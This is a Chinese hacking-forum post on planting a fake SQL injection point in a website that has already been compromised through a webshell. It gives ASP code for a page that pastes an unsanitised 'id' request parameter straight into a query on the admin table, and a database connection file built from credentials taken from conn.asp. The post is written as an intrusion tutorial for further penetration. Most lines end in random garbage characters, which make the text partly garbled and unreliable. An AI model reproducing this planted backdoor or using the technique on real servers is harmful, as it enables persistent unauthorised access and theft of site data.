自己构造注入点方便入侵
' |! |$ y. p& H- _9 e7 ]5 G: j% @+ S
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息2 h" |* K% Z1 p, Q$ L$ D! M
# J V, n8 M7 e+ N1 t4 a: d这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!+ ~) z$ }/ f0 J! t
+ U% k2 I* I. u7 G8 _
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
- V, ~( ~4 f( W) p; z1 ?' }; b* k- b* \$ c
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表5 q& H% [9 n' W% ^2 K
1 s+ p0 n& h7 H4 @. F0 g因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:- k6 H" Y! B G5 X3 j+ Q
1 h$ q* w$ m2 C5 P# E9 V( [3 W程序代码
& u! u9 g# Z* F+ }3 z<!--#include file="xx.asp"-->
' G: W, v+ P0 ^' F4 H<%
5 v! X6 f9 N7 ]) y# H0 |set rs=server.createobject("ADODB.recordset")4 H' Y0 z( A: `5 W( a8 N6 x
id = request("id")/ f9 ?6 Y/ p" o. T
strSQL = "select * from admin where id=" & id7 w( A# ?6 w8 R. U$ I" Q
rs.open strSQL,conn,1,3
* I9 c3 \& P9 D. z8 X8 Y7 yrs.close
6 y, t5 C9 Y% `%># E" t; e: ~% L5 w0 ^5 t8 B
6 `' J/ \, M/ M2 `! Q把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在. k, ~& h# l5 Q3 C( I5 u+ t9 Q2 n
8 z* Y# I7 j7 S
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!- ]4 L0 L, z7 q
5 r2 s4 V8 h* E$ {/ W
然后就要构造一个连接数据库的文件了,代码如下:) a. O \" Z& o+ [
程序代码" v3 P7 O6 |9 h1 x, h; v6 j% Z, g' w+ E- ~
<%
( `$ n/ E4 i- E2 I, ^8 ystrSQLServerName = "000.000.000.000" '服务器名称或地址+ |2 P, Z( I( k# O8 A z$ P& V
strSQLDBUserName = "sqlname" '数据库帐号 A/ J+ p6 _5 D, v. ?: l6 }- y0 z
strSQLDBPassword = "sqlpass" '数据库密码& u. {8 f+ h: ~, `4 ^
strSQLDBName = "sqldataname" '数据库名称& c; c+ C; x) b; ?7 P) @ C! e
Set conn = Server.CreateObject("ADODB.Connection"). _ a T: T% x( n8 g' [# Y
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"$ T$ J S3 n* w9 ?4 H* F8 W
conn.open strCon5 r* A# C1 r' b* p* y
%>
?1 @8 [( ]3 j: r
; A0 P8 e8 R7 f+ L这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,5 D! A% b; Z8 y7 N" X2 b% K3 @
; M& X5 ^) C7 M7 J4 G3 _3 S9 m
就这样,正常情况下,就OK了,伪造成功……
2 b' J f2 Q0 @: ?: {
! ]' ^3 c6 Z( H4 j9 P' U5 e. n 如果有什么问题可以提出来大家一起探讨解决。 |